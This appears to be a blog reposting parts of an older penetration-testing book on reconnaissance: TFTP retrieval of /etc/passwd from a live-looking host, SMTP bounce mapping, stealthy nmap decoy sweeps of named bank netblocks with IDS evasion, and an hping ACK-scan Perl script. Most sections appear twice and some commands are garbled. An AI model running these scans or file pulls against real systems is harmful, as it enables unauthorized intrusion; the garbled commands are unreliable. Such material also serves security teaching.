Normally a TFTP server will allow the attacker to transfer any file to him/her (/etc/shadow might be a start). The more recent version of the server will restrict you to only access files that are readable by everyone, and you might find yourself "jailed" in a directory - like with FTP. The other restriction on the more recent servers is that the only files that can be written are those that already exists and that are writeble by everyone. The other difference between TFTP and FTP is that you need to know what file you want - there is no "ls" command, but then again, you can make some intelligent choices.
Let us look at an example (this is really easy, but what the heck). First I use nmap to find a machine out there with an open TFTP port. Note that for this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your network, as nmap looks at ICMP port unreachable messages to determine if the port is open.
# nmap -+output
n -sU -iR -p 69
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd
root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin
Note - I transfer the /etc/passwd file to the temp directory. If you do the TFTP as root, and you are not careful, you will overwrite your own /etc/password file :). We have password file - it is shadowed - but we can now easily get any other file (the real password file etc.).
TFTP-TRIVIAL FILE TRANSFER PROTOCOL
TFTP FEATURE:
* Platform: Windows 2000/XP/2003/Vista/2008/7. TFTP Server is running as background task.
* Implemented as a system Windows service
* Fully compatible with RFC1350, RFC2347, RFC2348 and RFC2349
* Runs as a background "around-the-clock" task
* Ensures flexible access rights setup according to client's IP-address
* Support firewalls: the sever allows indicating the range of UDP-ports, used for transmitting the data. This allows network administrators to regulate firewall rules, approving the traffic, generated by the server.
* Full TFTP option support. The server fully supports the options 'tsize', 'blocksize' and 'timeout', which enables the administrators to reach the maximum performance, when transferring the data.
* An option of setting a highest precedence for the sever process. This option is used in systems with a large number of TFTP-clients and helps to assist them with the maximum speed.
* Contains graphic utilities for server setup and server status control
* High-performance multithreaded architecture
UDP-USER DATAGRAM PROTOCOL
Protocol suite : TCP/IP.
Protocol type : Connectionless transport layer protocol.
IP Protocol : 17.
The User Datagram Protocol offers only a minimal transport service -- non-guaranteed datagram delivery -- and gives applications direct access to the datagram service of the IP layer. UDP is used by applications that do not require the level of service of TCP or that wish to use communications services (e.g., multicast or broadcast delivery) not available from TCP.
UDP is almost a null protocol; the only services it provides over IP are checksumming of data and multiplexing by port number. Therefore, an application program running over UDP must deal directly with end-to-end communication problems that a connection-oriented protocol would have handled -- e.g., retransmission for reliable delivery, packetization and reassembly, flow control, congestion avoidance, etc., when these are required. The fairly complex coupling between IP and TCP will be mirrored in the coupling between UDP and many applications using UDP.
TFTP-TRIVIAL FILE TRANSFER PROTOCOL
TFTP is your friend. TFTP does not require any authentication - it is usually used for network equipment to get their configurations at boot time. A router can be set up to TFTP to a Unix/Windows box and get its config from this box. TFTP makes use of the UDP protocol - and is as such connectionless.
Normally a TFTP server will allow the attacker to transfer any file to him/her (/etc/shadow might be a start). The more recent version of the server will restrict you to only access files that are readable by everyone, and you might find yourself "jailed" in a directory - like with FTP. The other restriction on the more recent servers is that the only files that can be written are those that already exists and that are writeble by everyone. The other difference between TFTP and FTP is that you need to know what file you want - there is no "ls" command, but then again, you can make some intelligent choices.
Let us look at an example (this is really easy, but what the heck). First I use nmap to find a machine out there with an open TFTP port. Note that for this scan (a UDP scan) you'll need to allow UDP (duh) and ICMP to enter your network, as nmap looks at ICMP port unreachable messages to determine if the port is open.
# nmap -+output
n -sU -iR -p 69
>tftp
tftp> connect 129.xxx.121.46
> get /etc/password /tmp/passwd
tftp> get /etc/passwd /tmp/passwd
Received 679 bytes in 1.9 seconds
tftp> q
/> more /tmp/passwd
root:*:0:0:System Administrator:/root:/usr/contrib/bin/bash
daemon:*:1:1:System Daemon:/:/sbin/nologin
sys:*:2:2:Operating System:/tmp:/sbin/nologin
bin:*:3:7:BSDI Software:/usr/bsdi:/sbin/nologin
operator:*:5:5:System Operator:/usr/opr:/sbin/nologin
uucp:*:6:6:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucico
games:*:7:13:Games Pseudo-user:/usr/games:/sbin/nologin
news:*:9:8:USENET News,,,:/var/news/etc:/sbin/nologin
demo:*:10:13:Demo User:/usr/demo:/sbin/nologin
www:*:51:84:WWW-server:/var/www:/sbin/nologin
nobody:*:32767:32766:Unprivileged user:/nonexistent:/sbin/nologin
nonroot:*:65534:32766:Non-root root user for NFS:/nonexistent:/sbin/nologin
Note - I transfer the /etc/passwd file to the temp directory. If you do the TFTP as root, and you are not careful, you will overwrite your own /etc/password file :). We have password file - it is shadowed - but we can now easily get any other file (the real password file etc.).
Tuesday, July 6, 2010
SMTP (25 TCP)
SMTP (25 TCP)
SMTP-Simple Mail Transfer Protocol
Back in the good old days just about every mail server was running Sendmail. And Sendmail was littered with security holes. Nowadays Sendmail is pretty safe (yet a lot of people still have bad memories of it, and as such refuse to use it). The other common MTS is Microsoft Exchange. Other UNIX mail servers include qmail and smail. What vulnerabilities exist in SMTP gateways? If we assume that you are dealing with a rather new version of Sendmail it seems like SMTP is pretty safe (in terms of getting control over a server). Mailbombing...sure, getting root when one already have a shell -
sure. But remotely - I don't think so. Would anyone find a nasty buffer overflow in MS Exchange it would probably be the next big thing. Anyone?
In terms of intelligence gathering SMTP can provide you with some interesting stuff - EXPN and VRFY have been discussed in depth in the examples - lets not go there again. Mail spamming - well its not really hacking now is it?
SMTP can also be used to discover the soft insides of networks by sending a "bounce" message. Such a message is a message that is addressed to a user that does not exists. The mail will travel all the way to the most internal mail server who will then reply to you stating that the user is not known. By looking at the returned mail's STMP header would you gain some useful information about the mail path, and thus the internal network. Let us look at an example. We want to see the SMTP path of the domain nedcor.co.za. We send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a user at the domain), with body text: "Hi bud - got your email address form Amy - if you receive this in good order, write back to me. Your friend, Roelof". Obviously the idea is not the make the "bounce" message look suspect. Now, let us look at the listed MX records for the domain:
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
The SMTP returned mail header looks like this:
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for; Sun, 10 Sep 2000 22:48:29 +0200 (SAST)
(envelope-from )
Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id; Sun, 10 Sep 2000 22:43:19 +0200
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>
We learn from this header that mail "terminates" at ares.it.nednet.co.za. From there it hops to prometheus_old.nedcor.co.za. This is interesting as both these machines are not resolvable from the Internet, and should therefore be considered as "internal".
SMTP-Simple Mail Transfer Protocol
Back in the good old days just about every mail server was running Sendmail. And Sendmail was littered with security holes. Nowadays Sendmail is pretty safe (yet a lot of people still have bad memories of it, and as such refuse to use it). The other common MTS is Microsoft Exchange. Other UNIX mail servers include qmail and smail. What vulnerabilities exist in SMTP gateways? If we assume that you are dealing with a rather new version of Sendmail it seems like SMTP is pretty safe (in terms of getting control over a server). Mailbombing...sure, getting root when one already have a shell -
sure. But remotely - I don't think so. Would anyone find a nasty buffer overflow in MS Exchange it would probably be the next big thing. Anyone?
In terms of intelligence gathering SMTP can provide you with some interesting stuff - EXPN and VRFY have been discussed in depth in the examples - lets not go there again. Mail spamming - well its not really hacking now is it?
SMTP can also be used to discover the soft insides of networks by sending a "bounce" message. Such a message is a message that is addressed to a user that does not exists. The mail will travel all the way to the most internal mail server who will then reply to you stating that the user is not known. By looking at the returned mail's STMP header would you gain some useful information about the mail path, and thus the internal network. Let us look at an example. We want to see the SMTP path of the domain nedcor.co.za. We send email to klasiedewaal@nedcor.co.za (we suspect there wont be such a user at the domain), with body text: "Hi bud - got your email address form Amy - if you receive this in good order, write back to me. Your friend, Roelof". Obviously the idea is not the make the "bounce" message look suspect. Now, let us look at the listed MX records for the domain:
/# host -t mx nedcor.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-1.hosting.co.za
nedcor.co.za mail is handled (pri=10) by mailmarshall-2.hosting.co.za
nedcor.co.za mail is handled (pri=50) by prometheus.nedcor.co.za
The SMTP returned mail header looks like this:
Received: from prometheus_old.nedcor.co.za ([196.36.217.137])
by wips.sensepost.com (8.9.3/8.9.3) with SMTP id WAA18570
for
(envelope-from )
Received: FROM ARES.it.nednet.co.za BY prometheus_old.nedcor.co.za ; Sun
Sep 10 22:43:09 2000 +0200
Received: by ares.it.nednet.co.za with Internet Mail Service (5.5.2650.21)
id
Message-ID: <35D6C187048AD311882F00805FD7EDE402F57314@ares.it.nednet.co.za>
We learn from this header that mail "terminates" at ares.it.nednet.co.za. From there it hops to prometheus_old.nedcor.co.za. This is interesting as both these machines are not resolvable from the Internet, and should therefore be considered as "internal".
Sunday, July 4, 2010
Specifies the format of the ICMP message.
Type Description References
0 Echo reply. RFC 792
1
2
3 Destination unreachable. RFC 792
4 Source quench. RFC 792
5 Redirect. RFC 792
6 Alternate host address.
7
8 Echo request. RFC 792
9 Router advertisement. RFC 1256
10 Router solicitation. RFC 1256
11 Time exceeded. RFC 792
12 Parameter problem. RFC 792
13 Timestamp request. RFC 792
14 Timestamp reply. RFC 792
15 Information request. Obsolete. RFC 792
16 Information reply. Obsolete. RFC 792
17 Address mask request. RFC 950
18 Address mask reply. RFC 950
19 reserved (for security).
20
-
29 reserved (for robustness experiment).
30 Traceroute. RFC 1393
31 Conversion error. RFC 1475
32 Mobile Host Redirect.
33 IPv6 Where-Are-You.
34 IPv6 I-Am-Here.
35 Mobile Registration Request.
36 Mobile Registration Reply.
37 Domain Name request. RFC 1788
38 Domain Name reply. RFC 1788
39 SKIP Algorithm Discovery Protocol.
40 Photuris, Security failures. RFC 2521
41 Experimental mobility protocols. RFC 4065
42
55 Reserved.
0 Echo reply. RFC 792
1
2
3 Destination unreachable. RFC 792
4 Source quench. RFC 792
5 Redirect. RFC 792
6 Alternate host address.
7
8 Echo request. RFC 792
9 Router advertisement. RFC 1256
10 Router solicitation. RFC 1256
11 Time exceeded. RFC 792
12 Parameter problem. RFC 792
13 Timestamp request. RFC 792
14 Timestamp reply. RFC 792
15 Information request. Obsolete. RFC 792
16 Information reply. Obsolete. RFC 792
17 Address mask request. RFC 950
18 Address mask reply. RFC 950
19 reserved (for security).
20
-
29 reserved (for robustness experiment).
30 Traceroute. RFC 1393
31 Conversion error. RFC 1475
32 Mobile Host Redirect.
33 IPv6 Where-Are-You.
34 IPv6 I-Am-Here.
35 Mobile Registration Request.
36 Mobile Registration Reply.
37 Domain Name request. RFC 1788
38 Domain Name reply. RFC 1788
39 SKIP Algorithm Discovery Protocol.
40 Photuris, Security failures. RFC 2521
41 Experimental mobility protocols. RFC 4065
42
55 Reserved.
PING -ICMP(internet control message protocol)
Ping - ICMP
LAYER:TRANSPORT LAYER
PROTOCOL TYPE:TRANSPORT LAYER CONTROL PROTOCOL
Keeping all this in mind, where does one begin to discover which machines are alive? One way might be to ping all the hosts in the list. Is this a good idea? There are pros and cons. Pinging a host is not very intrusive - ping one machine on the 'net, and chances are that no-one will notice. Ping a class B in sequential order, and you might raise some eyebrows. What if ICMP is blocked at the border router, or on the firewall? Not only wont you get any results, but also all your attempts will be logged. If a firewall's "deny" log increase tenfold overnight, you can bet on it that it will be noticed. In many cases ICMP ping requests is either blocked completely, or allowed completely. There are exceptions of course (say an external host is pinging a internal host every X minutes to make sure it is alive, and sends alerts when the host is dead), but generally ICMP is either blocked or allowed. I have not seen any hosts that log ICMP ping packets. Thus, if ICMP ping is allowed to enter and leave the network, you can safely ping the whole netblock without anyone noticing. That is - if there are no IDS (intrusion detection system) in place.
An IDS is a system that looks for suspect looking packets - it will pick up on any known signature of an exploit. It then reacts - it might notify the sysadmin, or it might close the connection. Any IDS worth its salt also looks for patterns. If you portscan a host an IDS located between you and the host would pick up that you are trying to open sequential ports on the same IP - portscanning it. So - if you are pingscanning a big network the IDS might spot a pattern and might react. The "signature" that the IDS would pick up is that the IMCP flags are set to "ping request", and that these are coming in at a rapid rate to many machines (see, that is how an IDS picks up on floodping for example).
If we can counter most of the above obstacles, a ping sweep/scan might be a first good indication of hosts that are alive on the netblock. We counter the obstacles by doing the following - we first ping a few random hosts in the netblock (manually) to see if ICMP are allowed to the inside (yes - I know - this is a hit and miss method because in the whole of the class C there can be one IP that is alive, but rather safe than sorry). If we see ANY ICMP reply we assume that ICMP is allowed to the inside, and proceed to ping scan the network very carefully. In this case very carefully mean very slowly, and not in sequence. We also want to try confuse the sysadmin as to who we really are. If we could send packets with fake (or spoofed) IP addresses we could "cloak" ourselves among the other fake IP addresses. Packets with fake IP numbers will be returned, just as the packets to our IP address, but the "non-suspecting" hosts would simply ignore them, as it never knew that it was "sending" it out. How does one go about scanning stealthy and very slowly?
Enter Nmap (www.insecure.org/nmap). Nmap is a scanner tool build by the good Fyodor of Insecure.org. It is the preferred scanning tool for many security people (good and bad). It has recently been ported to Windows NT as well (by the people at Eeye.com). Without going into the detail of all nmap's option (there are a lot), we find that the command
nmap -sP -PI -Tpolite -D10.0.0.1,172.16.1.1 --randomize_hosts
would do the thing. Let us have a quick look at the different parameters and what they mean. -sP -PI mean that we want to ping sweep with ICMP only, -D10.0.0.1,172.16.1.1 mean that we want to send decoys 10.0.0.1 and 172.16.1.1, -Tpolite means that we want to scan slowly
randomize_hosts tells nmap to shuffle the destination. Now, obviously you would not use 10.0.0.1 and 172.16.1.1 - that is stupid as the sysadmin will quickly spot your (legal) IP between the rest of the (illegal) IP numbers. A further note - don't be stupid and put Microsoft and the NSA's IP numbers in the decoys - it can be spotted easily. Instead try to use IP numbers that are assigned to public mailservers, and add a public webserver here and there. The more decoys you add the safer you are. There is a balance of course - remember that if ICMP request could be logged. To use or not to use decoys can open large debates - an argument against using decoys could be that if a sysop sees a decoyed pingsweep (it pretty obvious when a large number of IPs starts pinging your hosts all of a sudden) it means that someone has spent the time to cloak him/herself - and this on its own is reason for concern. This concern could lead to investigation, something the sysop would normally not do.
Let us see how well this works in a real life. Let us choose a Citibank netblock that we have discovered - we take a small block in Argentina 200.42.11.80-200.42.11.87. We first do a manual ping of a few machines, and find that 200.42.11.81 is alive...and then it hits like a ton of bricks - this method is not that well designed! Imagine the sysop seeing a failed ping request from MY IP number, then a successful ping request, and after two minutes a "storm" of ping requests from all over the world to the rest of the netblock...and that "storm" containing my IP number. It does not take a rocket scientist to figure out what happened. So - I either have to ping from a totally remote site to establish if ICMP is allowed in, or do use the decoys right from the start.
We choose the first method, and proceed with another netblock. This time we choose the block 63.71.124.192-63.71.124.255 in the US of A. We first manually ping some IPs in the block - from a (undisclosed) offsite location. 63.71.124.198 is found to be alive (I hear you saying - why not do the whole of the ping sweep from the "other" location - well, maybe that "other" location does not have the capabilities to run my carefully crafted scanner, or I do not want to attract ANY attention to that site). We now fire up nmap as mentioned. The complete command is (decoys X-ed out):
>nmap -sP -PI -Tpolite -D199.x9.68.1x0,216.1x7.52.33,15x.43.128.26,196.x.160.8 --randomize_hosts 63.71.124.193-254
The output is:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (63.71.124.193) appears to be up.
Host (63.71.124.197) appears to be up.
Host (63.71.124.198) appears to be up.
Nmap run completed -- 62 IP addresses (3 hosts up) scanned in 46 seconds
Aha! ICMP is allowed into the network, and there are 3 machines responding to it. What do we do if we find or suspect that ICMP is blocked?
LAYER:TRANSPORT LAYER
PROTOCOL TYPE:TRANSPORT LAYER CONTROL PROTOCOL
Keeping all this in mind, where does one begin to discover which machines are alive? One way might be to ping all the hosts in the list. Is this a good idea? There are pros and cons. Pinging a host is not very intrusive - ping one machine on the 'net, and chances are that no-one will notice. Ping a class B in sequential order, and you might raise some eyebrows. What if ICMP is blocked at the border router, or on the firewall? Not only wont you get any results, but also all your attempts will be logged. If a firewall's "deny" log increase tenfold overnight, you can bet on it that it will be noticed. In many cases ICMP ping requests is either blocked completely, or allowed completely. There are exceptions of course (say an external host is pinging a internal host every X minutes to make sure it is alive, and sends alerts when the host is dead), but generally ICMP is either blocked or allowed. I have not seen any hosts that log ICMP ping packets. Thus, if ICMP ping is allowed to enter and leave the network, you can safely ping the whole netblock without anyone noticing. That is - if there are no IDS (intrusion detection system) in place.
An IDS is a system that looks for suspect looking packets - it will pick up on any known signature of an exploit. It then reacts - it might notify the sysadmin, or it might close the connection. Any IDS worth its salt also looks for patterns. If you portscan a host an IDS located between you and the host would pick up that you are trying to open sequential ports on the same IP - portscanning it. So - if you are pingscanning a big network the IDS might spot a pattern and might react. The "signature" that the IDS would pick up is that the IMCP flags are set to "ping request", and that these are coming in at a rapid rate to many machines (see, that is how an IDS picks up on floodping for example).
If we can counter most of the above obstacles, a ping sweep/scan might be a first good indication of hosts that are alive on the netblock. We counter the obstacles by doing the following - we first ping a few random hosts in the netblock (manually) to see if ICMP are allowed to the inside (yes - I know - this is a hit and miss method because in the whole of the class C there can be one IP that is alive, but rather safe than sorry). If we see ANY ICMP reply we assume that ICMP is allowed to the inside, and proceed to ping scan the network very carefully. In this case very carefully mean very slowly, and not in sequence. We also want to try confuse the sysadmin as to who we really are. If we could send packets with fake (or spoofed) IP addresses we could "cloak" ourselves among the other fake IP addresses. Packets with fake IP numbers will be returned, just as the packets to our IP address, but the "non-suspecting" hosts would simply ignore them, as it never knew that it was "sending" it out. How does one go about scanning stealthy and very slowly?
Enter Nmap (www.insecure.org/nmap). Nmap is a scanner tool build by the good Fyodor of Insecure.org. It is the preferred scanning tool for many security people (good and bad). It has recently been ported to Windows NT as well (by the people at Eeye.com). Without going into the detail of all nmap's option (there are a lot), we find that the command
nmap -sP -PI -Tpolite -D10.0.0.1,172.16.1.1 --randomize_hosts
would do the thing. Let us have a quick look at the different parameters and what they mean. -sP -PI mean that we want to ping sweep with ICMP only, -D10.0.0.1,172.16.1.1 mean that we want to send decoys 10.0.0.1 and 172.16.1.1, -Tpolite means that we want to scan slowly
randomize_hosts tells nmap to shuffle the destination. Now, obviously you would not use 10.0.0.1 and 172.16.1.1 - that is stupid as the sysadmin will quickly spot your (legal) IP between the rest of the (illegal) IP numbers. A further note - don't be stupid and put Microsoft and the NSA's IP numbers in the decoys - it can be spotted easily. Instead try to use IP numbers that are assigned to public mailservers, and add a public webserver here and there. The more decoys you add the safer you are. There is a balance of course - remember that if ICMP request could be logged. To use or not to use decoys can open large debates - an argument against using decoys could be that if a sysop sees a decoyed pingsweep (it pretty obvious when a large number of IPs starts pinging your hosts all of a sudden) it means that someone has spent the time to cloak him/herself - and this on its own is reason for concern. This concern could lead to investigation, something the sysop would normally not do.
Let us see how well this works in a real life. Let us choose a Citibank netblock that we have discovered - we take a small block in Argentina 200.42.11.80-200.42.11.87. We first do a manual ping of a few machines, and find that 200.42.11.81 is alive...and then it hits like a ton of bricks - this method is not that well designed! Imagine the sysop seeing a failed ping request from MY IP number, then a successful ping request, and after two minutes a "storm" of ping requests from all over the world to the rest of the netblock...and that "storm" containing my IP number. It does not take a rocket scientist to figure out what happened. So - I either have to ping from a totally remote site to establish if ICMP is allowed in, or do use the decoys right from the start.
We choose the first method, and proceed with another netblock. This time we choose the block 63.71.124.192-63.71.124.255 in the US of A. We first manually ping some IPs in the block - from a (undisclosed) offsite location. 63.71.124.198 is found to be alive (I hear you saying - why not do the whole of the ping sweep from the "other" location - well, maybe that "other" location does not have the capabilities to run my carefully crafted scanner, or I do not want to attract ANY attention to that site). We now fire up nmap as mentioned. The complete command is (decoys X-ed out):
>nmap -sP -PI -Tpolite -D199.x9.68.1x0,216.1x7.52.33,15x.43.128.26,196.x.160.8 --randomize_hosts 63.71.124.193-254
The output is:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (63.71.124.193) appears to be up.
Host (63.71.124.197) appears to be up.
Host (63.71.124.198) appears to be up.
Nmap run completed -- 62 IP addresses (3 hosts up) scanned in 46 seconds
Aha! ICMP is allowed into the network, and there are 3 machines responding to it. What do we do if we find or suspect that ICMP is blocked?
Saturday, July 3, 2010
Ping -TCP Method2 (against stateless Firewalls)
Ping -TCP (no service, wrappers, filters)
Method2 (against stateless Firewalls)
What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag(synchronization flag)set, the server responds with a TCP packet with the SYN and the ACKL flags(acknowledgement flag) set. Thereafter the server and the client send TCP packets with the ACK flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that “established” connections are allowed; packets with the ACK flag set. How does this help us? Well, if I send a packet to a server with only the ACK flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: “hey! We haven’t performed a 3 way handshake – bugger off”). Thus, if the machine is alive we WILL get a response – a RST packet.
How do we do it? Simple – there a nifty tool called hping that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- hping will detect if anything comes back. We run hping against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)
# ping -c 3 196.35.xxx.12
PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes
--- 196.35.xxx.12 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
Now hping:
# hping 196.35.xxx.12 -c 3 -A
HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes
46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms
46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms
46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms
--- 196.35.xxx.12 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2088.2/2132.8/2180.1 ms
Although the machine does not respond to ICMP ping packets, it responds with a RST flag if we send an ACK flag. So – there we go – a real TCP ping. How do we hping a lot of hosts? Here’s a quick & dirty PERL script that will do it for you:
#!/usr/bin/perl
# Usage: perl hpings startip-endip 'parameters_to_hping'
# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
- 29 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) { for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) { for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) { for ($d=@ip1[3]; $d<1+@ip2[3]; $d++ { print "$a.$b.$c.$d : "; system "hping $a.$b.$c.$d @ARGV[1]"; } } } }
Method2 (against stateless Firewalls)
What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag(synchronization flag)set, the server responds with a TCP packet with the SYN and the ACKL flags(acknowledgement flag) set. Thereafter the server and the client send TCP packets with the ACK flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that “established” connections are allowed; packets with the ACK flag set. How does this help us? Well, if I send a packet to a server with only the ACK flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: “hey! We haven’t performed a 3 way handshake – bugger off”). Thus, if the machine is alive we WILL get a response – a RST packet.
How do we do it? Simple – there a nifty tool called hping that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- hping will detect if anything comes back. We run hping against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)
# ping -c 3 196.35.xxx.12
PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes
--- 196.35.xxx.12 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
Now hping:
# hping 196.35.xxx.12 -c 3 -A
HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes
46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms
46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms
46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms
--- 196.35.xxx.12 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2088.2/2132.8/2180.1 ms
Although the machine does not respond to ICMP ping packets, it responds with a RST flag if we send an ACK flag. So – there we go – a real TCP ping. How do we hping a lot of hosts? Here’s a quick & dirty PERL script that will do it for you:
#!/usr/bin/perl
# Usage: perl hpings startip-endip 'parameters_to_hping'
# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
- 29 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) { for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) { for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) { for ($d=@ip1[3]; $d<1+@ip2[3]; $d++ { print "$a.$b.$c.$d : "; system "hping $a.$b.$c.$d @ARGV[1]"; } } } }
Friday, July 2, 2010
PING TCP(method 1:against stateful inspection Fire Walls)
Ping -TCP (no service, wrappers, filters)
Method1: (against stateful inspection Fire Wall's)
The idea is to find machines that are alive. The way we do this is by sending data to the host and looking if we can see any response. If our data were blocked at the router or firewall it would look as though the machine is dead. The idea is thus to find data that is allowed to pass the filters, and that would trigger a response. Per default just about all operating systems will listen on certain ports (if TCP/IP is enabled). Computers are likely to be connected to the Internet with a purpose - to be a webserver, mailserver, DNS server etc. Thus, chances are that a host that is alive and connected to the Internet is listening on some ports. Furthermore it is likely (less but still) than the firewall or screening router protecting these hosts allows some for of communication to these hosts - communication is less likely to be a one-way affair. Packetfilters uses source IPs, source ports, destination IPs and destination ports (and some flags) as parameters
to decide if a packet will be allowed to enter the network. Normally a firewall will allow the world to communicate to some host or hosts in some form or the other - thus not looking at the source IP address.
The idea would thus be to send a TCP connect on well-known ports and hope that 1) the firewall passes it through 2) the host is listening on the specified port. Given the response of the host, one can determine which of 1) and 2) happened. If we get no response we know that the firewall is blocking us - if we get a response from the server telling us that the port is not open we at least know that it was not filtered by the firewall. Hereby two examples:
telnet wips.sensepost.com 22
Trying 160.124.19.98...
telnet: connect to address 160.124.19.98: Connection refused
telnet: Unable to connect to remote host
The host responded by telling us that it is not listening on port 22. It also tells us that there is nothing between us and the host (on port 22). So, if we find that for a certain block a number of hosts returns a "connection refused" while other are return a SSH version (port 22 is SSH) we can safely assume that the firewall is configured to allow anyone to connect to port 22 (anywhere in the netblock). Another example:
telnet wips.sensepost.com 44
Trying 160.124.19.98...
telnet: Unable to connect to remote host: Connection timed out
Here the connection to port 25 is timing out - telling us that there are something blocking the packet to arrive at the final destination. Let us assume that we scan a netblock for port 25 and we find that certain hosts answers with a SMTP greeting, while others simply time out. This tells us that the firewall is configured to only allow packets with a certain destination port on a certain destination IP to enter the network. If we find a "connection refused" answer in a the same net we know that someone probably screwed up - the service is not running, but the config on the firewall has not been updated to close the "hole".
A machine that is dead will respond in the same way as a machine that is protected by a firewall that does not allow anything through. Thus, getting no response from a server does not mean that it is heavily firewalled - it might just be switched off, or unplugged.
Thus, getting back to the original argument - sending TCP requests to a number of well known ports might tell us if the machine is indeed alive. This might be useful in a situation where ICMP ping requests or replies are blocked on a firewall. We have no way to know if any hosts are alive but the connect to well-known ports and hope that 1) it is not firewalled and than 2) we get some response (be that "connection refused" or some service response).
The more ports we test for, the more our requests will look like a port scan (it is in fact a port scan - with just a limited amount of ports that are tested), and will trigger an IDS. It the therefore very tricky to decide if this action can be executed without triggering alarms - more so when we are scanning a large netblock. As a general rule, the number of IPs tested times the number of ports tested should not exceed 15. Testing 15 hosts for port 80 is OK, testing 5 IPs for 3 ports are OK etc. This is a very general rule and really depends on your target, the competency level of their technical staff and how anonymous you want to stay (and how lucky you feel).
Let us stay with Citibank (Citibank - I REALLY mean no harm - you are just such a good example network). Using the previous ping technique it seems that a device is blocking ICMP to the 192.193.195.0/24 netblock. We will thus proceed to do a "TCP ping" to 30 hosts (I feel lucky) in the block.
choose this block because it has interesting reverse DNS entries (see previous section):
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2-a.citicorp.com
121.195.193.192.IN-ADDR.ARPA domain name pointer global121.citicorp.com
122.195.193.192.IN-ADDR.ARPA domain name pointer global122.citicorp.com
123.195.193.192.IN-ADDR.ARPA domain name pointer global123.citicorp.com
124.195.193.192.IN-ADDR.ARPA domain name pointer global124.citicorp.com
125.195.193.192.IN-ADDR.ARPA domain name pointer global125.citicorp.com
132.195.193.192.IN-ADDR.ARPA domain name pointer ld1-www.citicorp.com
